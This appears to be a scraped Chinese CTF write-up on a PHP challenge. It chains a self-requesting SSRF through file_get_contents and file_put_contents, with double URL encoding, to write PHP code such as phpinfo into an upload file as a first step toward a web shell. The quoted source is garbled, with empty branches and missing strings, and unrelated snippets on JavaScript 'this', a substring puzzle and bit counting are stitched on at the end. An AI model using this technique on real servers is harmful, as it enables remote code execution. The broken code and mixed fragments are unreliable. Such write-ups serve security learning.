首先題目給出了源**
[php]view plain
copy
print?
<?php
if(isset(
$_get
) && !
empty
($_get
))else
if(strpos
($path
,'..'
) > -1) if(
strpos
($url
,'') === 0)else
這個題目首先get方式獲取file和path引數,然後將file引數賦值給$url,path的值和upload/拼接後賦值給$path
其中$url的限制是在字串的開始必須出現
$path不能出現 ..
然後兩個引數傳遞進本題目的關鍵函式
[php]view plain
copy
print?
file_put_contents
($path
, file_get_contents
($url
));
這個**的意思是,從$url獲取內容然後寫入$path中
通過訪問 http://localhost/index.php?file=&path=2.php
頁面返回:console.log(upload/2.php update successed!)
同時在http://localhost/upload/2.php寫入了乙個php檔案,php的內容是:
可以看出,$url訪問了,然後把讀取到的內容寫入到了2.php裡面
因為返回的頁面可以被引數$path控制,所以我想到用ssrf在伺服器上寫個shell
我們先做個實驗,先訪問:http://localhost/index.php?file=&path=<?php phpinfo(); ?>
看返回的頁面:
可以看出返回的頁面有<?php phpinfo(); ?>
想想我們能不能把這個頁面寫入到upload乙個檔案裡面?
利用ssrf的原理訪問這樣的鏈結http://localhost/index.php?file=index.php?file=%26path=<?php phpinfo(); ?>&path=2.php
這裡我們利用$url這個變數訪問了index.php?file=&path=<?php phpinfo(); ?>
注意在url中&要變成%26
下面我們看看http://localhost/upload/2.php被寫入了什麼:
似乎沒有成功,因為是ssrf做了二次訪問,所以放在$path的引數也要做url二次編碼
然後這樣構造引數就好:
再訪問一次http://localhost/upload/2.php
一道this的題目
請問下面 中的this值指向的是全域性物件還是物件o?function f return c var o new f console.log o.constructor.name object這裡的this指向全域性物件,因為 c call without new。這裡用正常的方式呼叫的函式 c 所...
一道題目 intel
從序列中找四個四字子串形成十進位制數使之乘積最大 就是求四個最大的?我目前只想到如下辦法。這個題並不是關於複雜的演算法,其本意是要利用並行處理,但目前尚未考慮到 除了其中比較求最小值部分有希望用simd include int g teststring int main void int picke...
一道題目 移位
csdn上一道面試題 十進位制整數,計算對應的二進位制數包含多少個1,用位操作。int n 95625 int m 1 int num 0 for int i 0 i sizeof int 8 i cout num endl 讓1不斷移位去判斷與其對應位置是否為1 若是有符號整數 負數 原碼的補碼 ...